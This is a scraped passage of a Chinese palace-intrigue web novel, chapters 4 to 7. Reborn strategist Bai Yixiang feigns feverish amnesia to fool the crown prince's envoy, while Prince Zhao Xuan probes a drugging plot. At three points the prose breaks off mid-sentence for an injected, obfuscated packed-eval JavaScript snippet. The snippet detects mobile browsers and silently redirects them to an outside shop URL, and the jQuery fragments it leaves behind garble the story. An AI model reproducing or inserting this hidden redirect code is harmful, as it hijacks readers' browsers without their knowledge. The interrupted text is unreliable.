直到赵玄的身影彻底消失在夜色里,张茂才浑身一软,瘫坐在椅子上。 今夜的计划,彻底失败了。 他抹了一把额头的冷汗,看向那名家仆,眼神变得阴冷起来,比了个割喉的手势:“玉芙蓉……不能留了。” “是。”家仆打了个寒颤,连忙领命退下。 * 白逸襄被石头搀扶着,深一脚浅一脚地踏入了自家府门。 他正想让石头快些扶自己回房,一个带着七分醉意、三分嘲讽的声音,从旁边的月亮门处传了过来。 “哟,我当是谁呢?这不是咱家名满京华的麒麟儿,逸襄堂兄吗?” 白逸襄闻声望去。 一个年轻男人,正倚在月亮门的门框上,身上青绿色的锦袍略显凌乱,手里拎着的酒壶荡来荡去。 显然是刚从外面鬼混回来。 还真是,多年不见,不如不见。 “堂兄这是……从何处回来?”白岳枫晃晃悠悠地走上前来,一双眼睛滴溜溜地在白逸襄身上打量,目光在他那只光着的脚上停留了片刻,惊讶道:“堂兄身子抱恙,怎的深夜才归,还……还如此不修边幅?连鞋履都丢了,这若是让外人瞧见,岂不是要说儒林白家的郎君佻达无度、放荡轻浮?” 若是前世的白逸襄,听到这等不孝儿酒后胡言,多半会冷着脸,斥一句“放肆”,然后好好教育一番。 但此刻,重生归来的白逸襄尚对一切都新鲜不已,连带看这个不孝的堂弟,也顺眼多了。 他闭着眼,用一种气若游丝的声音,对身边的石头说道:“石头……我头疼……很疼……” 石头连忙道:“郎君,俺这就扶您回去歇着。” “哎,堂兄!”被无视的白岳枫连忙上前一步,拦住了他们的去路,“你大病未愈,深夜外出,如今又这副模样回来,若是出了什么事,大伯回来,小弟我也不好交代啊。” 白逸襄这才像是刚刚发现他似的,缓缓睁开眼,茫然地看了他半晌,才慢吞吞地道:“岳枫……是你啊……” 接着,他发出又轻又飘的声音,“嗯?我……我出去了吗?” 白岳枫指了指他身上的衣服和沾满泥污的脚,“堂兄你……你这不刚从外面回来吗?” “是吗?”白逸襄一脸困惑地低头看了看自己,又抬起头,眼神更加迷茫了,“我……我不记得了……我只记得,我一直在床上躺着,头疼得厉害……许是……许是烧糊涂了,自己做了什么,都不知道了……” 白岳枫将信将疑地打量他。 白逸襄的身体差,是全家都知道的事。高烧之下,做出些匪夷所思的事,倒也不是不可能。 他在酒楼里听说白洗马大闹勾栏之事,这才匆忙赶回来看看到底什么情况。白逸襄却说自己什么都不记得了,以他对白逸襄的了解,的确不会做出这等匪夷所思之事。 他眼珠一转,继续问道:“那你可还记得,你出去见了何人,做了何事?” 白逸襄皱着眉,像是努力地在回忆,半晌,才摇了摇头,脸上露出一丝痛苦的神色:“想不起来……头疼……一想就疼……” 随即,白逸襄反问道:“岳枫,你这般……追问不休……莫不是做了什么有辱门楣之事?” “我?怎么会?!”白岳枫说完,立即意识到自己答得太快,讪笑道:“我……我只是担心你。” “没有便好,我没事,不必挂怀。咳……咳咳……我有些乏了,要回去歇息了。你也……早些安歇吧。” 说完,他再也不给白岳枫开口的机会,对石头道:“扶我回去。” “哎!好嘞!”石头应了一声,扶着自家郎君,绕过还僵在原地的白岳枫,朝着卧房的方向走去。 白岳枫疑惑的看着白逸襄的背影,好一会才转身离开。 * 同一片夜色下,秦王府的书房,灯火通明。 赵玄端坐在书案后,面色沉凝。他的面前,摆着那把从清音阁带回来的青瓷茶壶,以及一方沾了血的月白色丝帕。 那帕子,是白逸襄遗落在房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766963|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间里的。 书房的地上,跪着两个人。一个是奉命去抓捕玉芙蓉的将军彭坚,另一个,则是府中首席的太医,孙老先生。 “殿下,我赶到清音阁抓人时,那名玉芙蓉……已在后台房间内,悬梁自尽了。”彭坚粗犷的声音带着一丝懊恼和不甘。 “自尽?”赵玄冷笑一声。 以他对玉芙蓉的了解,他断不会自尽。 可是,他此时的想法又显得极为可笑,他本以为玉芙蓉与自己是朋友一场,结果…… 赵玄眼神暗了下来,看向一旁的孙太医。 孙太医拱手道:“殿下,老臣已经仔细检验过了,茶水含有一种西域奇药,名为‘合欢散’。此药无色无味,入水即溶,寻常人服下后,不出半刻,便会情思错乱,神志不清,极易……极易受人摆布,行苟且之事。” 孙太医说到最后,已是满头大汗,不敢再往下说。 彭坚听了,却是勃然大怒,一拳砸在地上:“岂有此理!到底是谁,竟敢用如此下作的手段来构陷殿下!” 孙太医淡淡道:“如今殿下风头正盛,到底对谁威胁最大?” 彭坚想了想,“太子?!” 在孙太医的眼神示意下,彭坚连忙捂住嘴。 赵玄没有说话。 他只是静静地看着那方丝帕,手指无意识地摩挲着手心上被茶水烫出的那一点红痕,脑海中,不由自主地浮现出白逸襄那张苍白却决绝的脸。 他想起了那人打掉茶杯时,眼中如释重负的笑意。 想起了那人指着玉芙蓉时,厉声呵斥的疯狂。 也想起了那人最后凑到他耳边,一字一顿地说:“此事,事关殿下的性命与清誉,不可不察!” 他与白逸襄,是政敌。 这一点,毋庸置疑。白逸襄是太子赵钰最倚重的谋士,东宫的许多决策,背后都有他的影子。赵玄不止一次,在朝堂的暗流交锋中,感受到过来自这位“第一才子”的压力。 他一直以为,白逸襄和太子是一丘之貉。 可今夜…… 一个忠于太子的人,为何要冒着背叛的风险,用如此激烈的方式,来救自己这个“敌人”? 他的动机是什么? 难道,这真的是一场苦肉计?先救人,再以救命恩人的身份接近自己,图谋不轨? 可这个念头刚一升起,又被他自己否定了。 以白逸襄的谋略,若真要演一出苦肉计,绝不会用如此粗暴、如此漏洞百出的方式。他有千百种更温和、更不易引人怀疑的法子。 那…… 难道是白逸襄良心发现,不齿太子的卑劣行径? 这个想法更可笑了。身在权力漩涡,谁手上是干净的?白逸襄能稳坐东宫首席,若说他是个心慈手软的谦谦君子,赵玄第一个不信。 可是,他到底想做什么? 一个病得快要死的人,是如何精准地得知了太子的计划?又是如何拖着那副随时都会散架的身子,及时赶到现场的? 赵玄发现,他越是思考,心中的谜团就越大。 不合理,都不合理…… “殿下?”彭坚见他久久不语,忍不住问道,“那白逸襄……您看,咱们要不要派人去盯着。” 赵玄缓缓抬起眼,淡淡地道:“不必。” 赵玄顿了顿,嘴角勾起一抹意味深长的弧度,“我也很想看看,这位逸襄先生,接下来,要唱哪一出戏。” 5. 第 5 章 白逸襄在清音阁那场荒唐事,次日天刚亮,各种版本的流言便飞遍了京城的大街小巷。 市井版本说,那玉芙蓉男生女相,琴棋书画样样精通,各大门阀世家的郎君都曾为他的座上宾,身为儒林名士,名冠九州的大才子,东宫的白洗马也不例外,那日玉芙蓉正与秦王下棋作诗一天未见其他宾客,白洗马便因妒生恨,大闹清音阁,不但冲撞了秦王,还言辞羞辱了玉芙蓉,当晚,玉芙蓉不堪受辱,上吊自缢。 故事说得有鼻子有眼,配上说书人夸张的腔调,引得茶楼酒肆里的看客们阵阵喝彩。 白逸襄原本只在儒林名士中比较有名望。 现在,真真成了老弱妇孺,贩夫走卒都知晓的“红人”。 而权贵世家圈子里的版本,则要阴暗得多。所有人都心照不宣,这绝非简单的名流韵事,而是东宫与秦王之间,一次毫不掩饰的正面交锋。只是,白逸襄疯癫的行径,又让这场交锋,蒙上了一层谁也看不透的迷雾。 一时间,白家府邸成了整个京城风暴的中心。 而作为风暴中心的主角,白逸襄却全然不知。 因为,他从清音阁回来那晚便陷入了昏睡。 那晚强行透支身体的后果,比他想象的还要严重。高烧反复,梦魇缠身,整个人像是被扔进了一个冰火两重天的炼狱,一会儿如坠冰窟,一会儿又身处熔岩。 他时而看见前世的自己,在史官的笔下遗臭万年; 时而又看见今生的赵玄,满身是血地倒在自己面前。 虚幻与现实交织,让他分不清自己究竟身在何处。 他就这么浑浑噩噩地,又烧了两天。 直到第三日的清晨,他才悠悠转醒。 “郎君,张茂求见。” “郎君还病着呢,不见!” 贴身侍女卉迟和管家白福的声音逐一传入耳中,白逸襄的眼睫毛轻轻颤动了一下,缓缓睁开了眼睛。 他烧得有些脱水,嘴唇干裂起皮,口渴的紧。 “白福……”白逸襄道。 “郎君,郎君醒了!”白福惊喜道。 “郎君!您可算醒了!”石头听到声音也从门外跑进来。 白逸襄没管他们,径直问道:“来人是东宫张茂吗?” “正是。”白福答道。 “让他进来。” 白逸襄态度坚决,白福恐怕那张茂有什么大事,便不敢多言,连忙退了出去,并同时用眼色示意站立一旁的玉瑶。 玉瑶会意,上前将白逸襄扶起,拿起水碗,用木勺给白逸襄喂水。 白逸襄喝了几口解渴,低头看到自己身上那件干净的寝衣,又摸了摸自己被擦拭干净的脸颊,突然打掉水碗,溅了自己满头满脸。 白逸襄低声骂道:“蠢婢子!” 玉瑶连忙跪下,“奴婢、奴婢愚笨,请郎君息怒。” 白逸襄抄起掉落到床边的木碗,丢了出去,木碗从玉瑶头顶飞出去,砸到门框上,差点砸到刚露头的张茂。 张茂退了一步,与身后的白福撞到一起,两人头碰头,脚踩脚,差点一同摔倒。 两人心中同时都道这是犯了什么忌讳? “哎呦呦,知渊兄因何事……”张茂话音未落,一只木枕飞了过来,正中张茂脑门。 张茂被打了个措手不及,还来不及反应,又一个青黑色的物件从耳边飞了出去。 刚才那个是砚台吗? 张茂连忙抬袖遮挡面颊,生怕再丢过来什么东西。 “知渊兄!知渊兄!你这是为何啊?” 榻上的白逸襄像是终于注意到张茂,连忙道:“哎呀呀!是濡年兄啊!快,快请进。” 张茂一进门,浓重的药味便扑面而来,让他下意识地皱了皱眉。 “濡年兄,我有病在身,不能全礼,还望海涵呐!”床榻之上,白逸襄挣扎着想要起身,却被一阵剧烈的咳嗽打断,整个人伏在床沿,咳得单薄的肩膀不住地颤抖。 张茂看着他这副随时都会咽气的模样,刚才的怒气消了大半。 “唉,知渊病重,何须多礼。” 他看了眼床边抖如筛糠侍女,还有吓得脖子都快缩进身体的壮硕奴仆,脸上露出一丝鄙夷。 白逸襄素有高洁之名,人人都道他是谦谦君子,可在内宅之中,却对下人也是如狼牧羊,行为暴虐。 与其他高门贵族,没什么不同。 张茂走到白逸襄的榻前,弯腰凑近看了看白逸襄,见他头发和脸颊都被冷汗浸透,摇了摇头,“啧啧,知渊兄怎么病得如此之重啊!” 说罢,还贴心的替他把被子拉紧。 白逸襄摆摆手,“老毛病了,不碍事。” 接着他怒视地上跪着的玉瑶:“蠢奴!安敢怠慢张公?还不速速设座!” 玉瑶连忙起身,拿来圆墩,让张茂坐下。 白福、石头、玉瑶,及刚进门的卉迟,都低头耷脑,站在门口伺候。 张茂原是太子妃的表舅,在东宫做太子舍人,不管从出身还是位阶都低于白逸襄,如今被白逸襄称“张公”,心中大悦,面色却隐藏的很好。 他被摆出一副礼贤下士的姿态道:“先生乃东宫肱股,如今病至沉疴,太子殿下心中甚是忧虑。特派在下前来探望,不知先生身体如何了?” 白逸襄拱手朝天道:“劳殿下挂心……不瞒张兄,我……咳咳……怕是……时日无多了……”白逸襄又是一阵猛咳,咳得眼角都泛起了红。 张茂看着他,沉默了片刻。他此行的目的意在试探,可见白逸襄现在这个样子,实在很难与昨日破坏他计划的白逸襄结合起来。 张茂状似无意的掸了下袍子上的灰尘,道:“知渊兄哪里话,身体好好休养便是。只是……我听闻,两日前,先生曾去过清音阁?” 白逸襄抬起头,一副茫然无措的表情,仿佛没听懂他在说什么。 “清音阁?”他重复了一遍,声音里带着一股子天真,“那是什么地方?我不曾去过啊。” “知渊兄!” 张茂眯起眼,声音里带上了一丝警告的意味,“清音阁上下,数百双眼睛都看见了,你去大街小巷听听,谁人不知你白洗马大闹清音阁?” “什么?”白逸襄怒道:“张濡年,我念你我同僚,以礼相待,你却编造谎话诬陷于我,意欲何为?!” 张茂站起身,背手而立,上下打量起白逸襄,“知渊兄,你莫要跟我装糊涂!” “白府不欢迎此等妄言之徒!”白逸襄别过脸去,“白福,送客!” 白福一脸窘色,缓步上前,张茂急忙拉来旁边的石头,“你问你的家仆,有没有这事。” 石头看了看白逸襄,憨声道:“主子,你确实去过清音阁。” 白逸襄惊讶:“我真去过?” 石头点头,张茂忙道:“你看,我没说错吧!” 白福忙道:“那日郎君……高烧不退,人事不知……许是……许是烧糊涂了,做了些荒唐事……” “哎呀!”白逸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766964|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 襄突然叫道,大力拍了下脑门,“我突然记起,某日发梦,说了些梦话,难道是你们把我说的梦话当了真?” “梦话?”张茂愣道。 白逸襄道:“正是……我记得,似乎是梦见……梦见有人要加害太子殿下……我心中焦急,便……便嚷嚷着要出去救驾……后面的事……我就什么都不记得了。” 白福道:“对,那晚郎君昏厥多日,突然醒来,便大叫道要去救太子殿下,一路疯跑,鞋子都跑掉了,这事白府上下都知道。毕竟咱们家郎君,从来没这么发疯过。想是那日真是做了噩梦。” 白福说罢看向两个侍女,侍女也连连点头。 张茂死死地盯着白逸襄,眼神变幻不定。 他不信。 他不信天底下有这么巧合的事。 可看着白逸襄那副气若游丝、仿佛下一秒就要断气的模样,他又找不出任何破绽。 难道……真的只是一个巧合? 正当他疑窦丛生之际,门外传来一声下人的通报。 “郎君,韩王殿下,前来探望。” 张茂眉头皱起,三皇子?他来做什么? 那三皇子赵楷,是京城里一个特殊的存在。 他生母是郭皇后,与太子同母,身份尊贵,偏偏他自己是个不求上进的纨绔,整日斗鸡走马,流连花丛,他与自己的亲哥太子赵钰十分疏远,却与德妃所生的二皇子赵玄关系甚好,为二皇子马首是瞻。 此刻,这位纨绔王爷,正提着一个精致的食盒,脸上挂着一贯的、玩世不恭的笑容,大摇大摆地朝这边走来。 听到脚步声,张茂连忙拱手道:“知渊兄,韩王来访,在下不便叨扰,先行告退。” 不等白逸襄做出反应,张茂已经退了出去。 外面传来了张茂的见礼声,接着便见一身红袍的韩王赵楷走了进来。 他见到榻上的白逸襄,瞪大双眼,夸张地叫道:“逸襄先生,你这是怎么了?” “韩王殿下!”白逸襄再度挣扎着想要起身,却被三步并作两步上前的赵楷按了回去。 赵楷摆手,“唉~逸襄先生有病在身,无须多礼。” 接着,赵楷转而把食盒放在床榻旁的案几上,直接打开食盒,一股浓郁的参汤香味,瞬间弥漫了整个卧房。 “这是我二哥府上的厨子,用百年的老山参,熬了三天三夜才熬出来的。”赵楷拿起瓷罐,倒了一碗热气腾腾的参汤递到白逸襄面前。 白逸襄嘴角微动,三天三夜怕是熬馊了…… 赵楷道:“二哥说了,不管那日清音阁究竟发生了什么,都多亏了先生仗义执言,才免去了一场天大的误会。这份情,他记下了。特意让小王将这碗汤送来,为先生补补身子。” 靠在床头的白逸襄,闻着赵楷塞过来的飘着油沫的参汤,只觉得头疼得更厉害了。 张茂刚来,赵楷也来了。 他可不觉得这是巧合。 赵玄明摆着试探自己的同时,顺便离间一下他和太子。 让自己不管是敌是友都没有办法威胁到他。 是友,二皇子已然示以梧桐,引凤来栖。 是敌,三皇子莅临示好,必然会让太子对自己产生了嫌隙,不再信任,以后很难在东宫掀起风浪。 高,实在是高!他白逸襄终归没有看走眼。 只是…… 赵玄不知,自己注定是要脱离太子,辅佐于他的。 做这些多余的事,是嫌他命太长吗? 6. 第 6 章 马车辚辚,张茂坐在车内,脑中反复回响着白逸襄那番颠三倒四的说辞,以及韩王赵楷脸上那抹意味深长的笑容。 越想越不对劲。 韩王赵楷为何要登门拜访?难道白逸襄真是假托做梦发癫,实则与赵玄一党有暗中勾连? 可若说白逸襄是装病,那他白天在自己面前那副随时会咽气的模样,未免也太过逼真。 不行,不能就这么走了。 上次清音阁之事,太子已经迁怒于他,如果今天仍旧如此含混过去,恐怕自己往后的日子更不好过。 太子府上幕僚众多,他张茂并不是凭本事做到太子舍人,而是仰仗表甥女的太子妃身份。 这一点他是心知肚明的。 可他与表甥女关系并不亲近,怎及其嫡系血亲?况且庞大的家族人才济济,他张茂若不能替太子办事消灾,要他何用? 思及此,张茂猛地叫停了马车。 他撩开车帘,回头看了一眼那座在阳光下静谧无声的府邸,一个大胆的念头自心底涌起。 他对着车夫低声吩咐了一句,车夫便听命从前面绕路,再折回,停在了白府斜对面寻了一家茶楼后街,他从偏门进入,拣了个二楼临窗的雅座。这个位置的视野极好,正好能将白府的正门尽收眼底。他点了一壶便宜的粗茶,心不在焉地端着茶碗,盯着那边的动静。 等待许久,才见韩王从白府走出。 只见那韩王与白府的管家白福有说有笑,好似关系匪浅。 张茂心中疑窦丛生,心道,居然呆了这么久,韩王跟白逸襄聊了什么? 韩王府那辆形制华贵的马车,在一队护卫的簇拥下,缓缓离开,张茂又等了会,直到太阳下山,他才起身离开。 张茂绕到了府邸的侧面,他记得这里有一个供府中下人出入的“青琐门”。他想,或许能用几吊钱收买守门的仆役,混进去一探究竟。 谁知他刚凑到门口,还未开口,那守门的两个家丁便警惕地盯了过来,其中一个更是直接将手按在了腰间的棍棒上,喝道:“什么人,在此鬼鬼祟祟!” 张茂吓了一跳,连忙摆手:“误会,误会,在下只是路过……”说罢,灰溜溜地退开。 一计不成,他又绕到了更偏僻的后巷。此地只有一个不起眼的偏门,专供府中运送泔水、柴火之用,此刻早已上了厚重的门锁。他上前推了推,门板纹丝不动。 张茂背负双手,急的来回走动。正门不能走,侧门进不去,后门打不开,难道就此放弃? 他一抬头,看到了那面在月光下泛着青灰色的矮墙,脑中灵光乍现——翻进去!? 可,他乃太子舍人,朝廷命官,饱读诗书的文人雅士,怎能行此鸡鸣狗盗之举?这要是传出去,他张茂的脸面何存? 但是,不去,心头那份疑虑又如百爪挠心,让他坐立难安。 最终,他说服自己此举是对太子殿下的一片“忠心”,日后待太子登基,他成了元老重臣,谁敢妄议? 张茂咬了咬牙,在后巷里四下踅摸。很快,他便在墙角处发现了几个半旧不新的木箱子。那箱子码放得不高不低,刚好形成一个三阶的台阶,顶端离墙头只有一步之遥。 “天助我也!”张茂心中大喜,也顾不得身上这件价值不菲的锦袍,撩起下摆,手脚并用地就爬了上去。 这些箱子看着破旧,踩上去却意外地结实。他颤颤巍巍地站上去,扒住冰冷的墙头,深吸一口气,使出了平生最大的力气,双臂猛一用劲! “刺啦——” 一声布帛撕裂的脆响。 张茂只觉得腋下一凉,低头一看,袍袖与衣身的连接处,竟被墙头的砖石给刮开了一条大口子,露出了里面的白色中衣。 事已至此,已无退路。他骑在墙上,准备翻下,可他那宽大的袍服下摆却被墙边的树杈勾住,整个人进退不得。 张茂累得满头大汗,费了九牛二虎之力,才将袍子从树杈上解救下来,落到墙下,却又是一阵“刺啦”乱响,袍服下摆也被划拉出好几道口子。 此时的他哪里还顾得上什么形象,拍了拍身上的草屑,猫着腰,向着白逸襄的卧房方向潜去。 窗棂里,透出昏黄的灯光,人影晃动。 张茂小心翼翼地凑到窗下,用沾了口水的指尖,捅破了薄薄的窗纸,眯起一只眼向内窥探。 榻上的白逸襄半坐着,正由侍女玉瑶伺候着喝药。他皱着眉,一脸嫌恶地将那碗黑乎乎的汤药灌了下去,随即侍女拿起旁边案几上的一块糕点塞进他的嘴里。 吃完糕点,只听他冷声对跪在地上的另一个侍女呵斥道:“蠢奴!倒个水都手忙脚乱,若非念你初犯,便该拖出去重打二十大板!” 侍女吓得魂飞魄散,不住地磕头:“郎君饶命!奴婢……奴婢再也不敢了!郎君那日从清音阁回来后,人事不知,今日郎君又是昏睡三日才醒,奴婢只是怕郎君又像那日一样梦游,才会手忙脚乱……” “说起来,我那日究竟做了什么?!我完全想不起来。” “你们个个都说我去了清音阁,可我醒来之后,对此事没有半点印象!我只记得头痛欲裂,仿佛做了一场大梦!” “如此大事,你们为何不拦着我?任由我跑了出去?” “如今闹得满城风雨,我还得费心为自己收拾烂摊子!一群废物,都给我滚出去!” 白逸襄突然掀了药碗,朝仆从们扔去。 侍女们如蒙大赦,连滚爬爬地退了出去。 窗外的张茂也连忙滚爬到暗处躲藏起来。 他趴在草丛中暗想,白逸襄对自己大闹清音阁之事没有记忆,这与他白天所说的“高烧昏迷,梦中呓语”完全吻合。 而且他此刻表现出的暴躁,与白天见到的也颇为一致。看来,这白逸襄隐藏自己的功夫还真是了得,连那勾栏里的戏子恐怕都自愧不如。 张茂冷笑一声,这样的人,倒是比完美无缺的圣人好拿捏得多。 张茂对白逸襄的疑虑消了大半,也不敢再多停留,他悄然后退,准备原路返回,到了墙下,四下看了看,发现树后也堆放着几个木箱,顿时心中一喜。 不用爬树了! 他再次码放好木箱,爬上墙头。看到墙外的木箱还在,他放下心来,一脚踩上去,木箱却突然碎裂,整个人重重摔落。 他不敢大叫,半晌才爬了起来。 他强忍剧痛,扶着墙,一瘸一拐地往前走,行至转角处,却与一个突然出现的人撞了满怀。 “谁?!”张茂惊魂未定,低声喝道。 “哎哟,是哪个不长眼睛的狗奴……”一个带着醉意的抱怨声响起。 张茂定睛一瞧,撞他的竟是白府出了名的浪荡子白岳枫! 对方酒气冲天,身形摇摆不定,看样子已有八分醉意。 “原来是张舍人啊。”白岳枫认出了张茂,目光在他那一瘸一拐的腿和破破烂烂的官袍上扫过,眼中闪过一丝古怪的笑意,“这么晚了,张舍人行色匆匆……是从哪家赌坊里被打出来的?” “白二郎!你休得胡言!”张茂老脸一红,强忍着腰痛,站直了身子,整理了一下破烂的衣袍,他看了眼白岳枫身边的白府小厮,将白岳枫拉到一旁,凑到对方耳旁问道:“我来问你,你家知渊郎君,前几日,可有异常行为?” “异常行为?”白岳枫想了想,压低声音道:“张舍人,你算问对人了。我那堂兄,前几日他从外面回来,衣衫不整,还赤着脚,嘴里说着糊涂话。我问他何故如此,他却道什么都不记得了!可我明明听说,他为了个清官,大闹清音阁,冲撞了秦王。” 白岳枫一边说一边打着酒嗝,张茂不耐的扇了扇,继续问:“他当真什么都不记得了?” 白岳枫道:“当不当真我不知道,但我知道,他脑子一定出了问题,不然怎会做出如此玷污门楣之事?我看他……定是常年吃药,把脑子吃坏了!东宫白洗马,赶快换人吧!我白岳枫哪里都不比那白逸襄差,尤其是身体比他好,你与太子说说,让我也去东宫做个洗马如何?” 张茂心中大定,连素与白逸襄不睦的白岳枫都这么说,看来是错不了了。 张茂露出一丝鄙夷,拍了拍白岳枫的肩膀:“原来如此……你放心吧,我会向太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766965|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子举荐你的。” “晚生多谢张舍人。” 白岳枫拱手鞠躬,张茂甩开袖子,强撑老腰消失在夜色之中。 * 白逸襄的卧房。 送走了窗外的 “客人”,房内终于恢复了宁静。 白福和石头笑嘻嘻的从门外进来,白逸襄瞟了他们一眼,“都安排好了?” 白福笑道:“回郎君,都安排好了。老奴方才已经去抚慰过两位姑娘,将您赏的赤金簪子也一并送了过去。她们都说,能为郎君分忧,是她们的福分。另外,堂少爷那边,想必也已经跟张舍人‘偶遇’上了。” 石头忙补充道:“郎君!俺把那木箱做了手脚,张茂那厮肯定摔得不轻。” “……” 白逸襄手中的棋子滞了滞,道:“也好,让那张茂多吃些苦头,这出戏才显得更真。” 白福道:“是,郎君深谋远虑,老奴佩服。” 白逸襄点点头,将棋子落在棋盘的天元之位。 “啪”的一声轻响,在寂静的夜晚格外清脆。 有些话从白岳枫嘴里说出去,比他自己说,要可信得多。 若是这一世白岳枫行事还如前世一般,那便是他自己的命数。 就如同这棋盘中的一子,助自己谋定乾坤。 张茂亦是一子,原本他的计划是张茂来访后,自己同家仆们演一出戏,让太子暂时放下对自己的疑虑,让他能有一段喘息的时间。然而赵楷的突然登门,扰了他的计划。 这样一来,张茂无论如何汇报,太子对自己都不会再像从前那般信任了。 虽然脱离东宫是必然,但绝不能操之过急。 眼下,他仍然需要东宫幕僚的身份,来帮他完成接下来的计划。 颍川白氏,三代帝师,门楣显赫,但家族中却无一人手握实权,未来大靖朝内忧外患,风雨飘摇,仅凭他白逸襄一人,绝无力挽狂澜的可能。 虽说他对后续发生的事件能记得大半,但若想把每个关键人物、关键事件串联起来,寻到稳妥的解决之法,也非易事。 这一切需要仔细思量一番。 白逸襄让白福拿来了床几,笔墨纸砚,准备继续研究他的“宏图霸业”。 他摆摆手,道:“行了,你们先下去吧。” 白福拱手告退,却见一旁的石头站在桌边不动,便拉了拉他,石头指了指桌上的食盒,“郎君,这……这汤还喝吗?” 白逸襄瞥了一眼那碗色泽金黄、飘着厚厚油脂的参汤,突然有点反胃,便道:“倒了。” “啊?”石头愣住了,“这……可是……” “倒了。”白逸襄又重复了一遍,声音不大,却不容置喙。 “哦……”石头立即端起那碗价值千金的参汤,毫不犹豫地就往外走。 白福忙道:“我的郎君爷!那可是百年的老山参啊!您……您就这么倒了?好歹……好歹……” 白逸襄恍然,“福伯要是喜欢,这汤便赏你了。” “哎哟,这可使不得!”白福嘴上推辞着,眼睛却还黏在那碗汤上,“这是二殿下赏给郎君的,老奴怎敢……” “无妨。”白逸襄淡淡地道:“他的一番心意,我领了。这汤,总归不能浪费了。” 白福一听,顿时喜上眉梢,也不再推辞,小心翼翼地将汤倒回瓦罐之中,提起食盒,乐呵呵地退了出去,石头也连忙追了出去,房外传来他的憨声:“福伯,给俺尝尝,给俺尝尝!” 两人的声音渐渐远去,白逸襄提着的笔久久未落。 他想起自己死后,石头绝食追随他去。 想起白福哭到昏厥数次,从此缠绵病榻。 他也见识到许多曾对他逢迎示好,声称忠心耿耿之人,在他死后如何指责他,唾骂他。 让他以魂魄形态看遍了人情冷暖,世间百态。 许久,白逸襄心中微动。 明天让后厨给下人们改善一下伙食吧…… 再给他们填些新衣…… 哦,对,还有赏钱。 以前他不懂,现在明白了,钱,很重要。 7. 第 7 章 亥时已过,东宫书房内依旧灯火通明。 太子赵钰一身明黄色常服,负手立于窗前,望着庭院中被夜风吹得簌簌作响的竹影,眉头紧锁。 就在这时,殿外传来内侍一阵急促而杂乱的脚步声,禀告道:“殿下,张茂回来了。” “宣。”赵钰淡淡地应了一声,转过身来。 下一刻,当张茂的身影出现在门口时,即便是素来以温润示人的赵钰,也不禁微微睁大了眼睛。 张茂脸色苍白,发冠歪斜,胡袍撕开了好几道大口子,腋下和下摆更是破烂不堪,沾满了草屑与尘土。他一手扶着后腰,每走一步都龇牙咧嘴,仿佛随时会散架一般。 “茂卿,你这是……遭遇歹人了?” 太子示意内侍搬来绣墩放在张茂身前。 “殿下……微臣无能……让殿下忧心了。”张茂喘着粗气,疼得额头直冒冷汗,绣墩上艰难坐下,只觉得半边身子都不是自己的。 赵钰挥手让内侍退下,沉声问道:“究竟怎么回事?探听到什么了?” 张茂连忙将今夜“惊心动魄”的经历,拣着重点,一五一十地说了出来。当然,他省去了自己爬墙时那副挂在墙头的窘态,只强调了白府守卫森严,自己是“历尽艰辛,险些失手”才得以潜入。 “对清音阁之事毫无印象?”赵钰的眉毛挑了起来,“他对着自己的心腹侍女,也是这么说的?” “千真万确!”张茂用力点头,“当时房中并无外人,臣以为,一人独处之时,对着自己的贴身侍女,总不至于还在演戏。他那副暴躁癫狂的模样,不似作伪。” 为了增加说服力,张茂又将自己撤离时差点摔断腰,以及在巷口偶遇白岳枫的事情也说了出来。 “他亲口对臣说,白逸襄自清音阁回来后就疯疯癫癫,声称什么都不记得了。那白家二郎虽是个纨绔,但他与白逸襄素来不睦,臣观他言谈之间对白逸襄的行为颇有不满,应当是真的。” 汇报完毕,张茂小心翼翼地抬眼观察着太子的神色,试探着给出了自己的结论:“殿下,依臣愚见,这白逸襄身体孱弱,如今又病重发癫,神志不清。再有才华也难堪大用,怕是……已经成了一颗废子。” 赵钰听完,并未立刻言语。他背手而立,眼中光芒闪烁不定。 书房内一片寂静,只有烛火偶尔发出的“噼啪”声。 良久,他才放松下来,嘴角勾起一抹意味深长的微笑,缓缓摇头道:“茂卿,你看得还是浅了些。” 张茂一愣:“殿下?” “你以为我是看重白逸襄的才干吗?不,我看重的是他身后的颍川白氏。”他微微昂起头,缓缓踱步,“三代帝师的门楣,儒林领袖的清望,这块金字招牌,是他白逸襄一人能左右的吗?” 张茂恍然大悟,额头瞬间渗出冷汗:“殿下说的是……臣,臣短视了!” 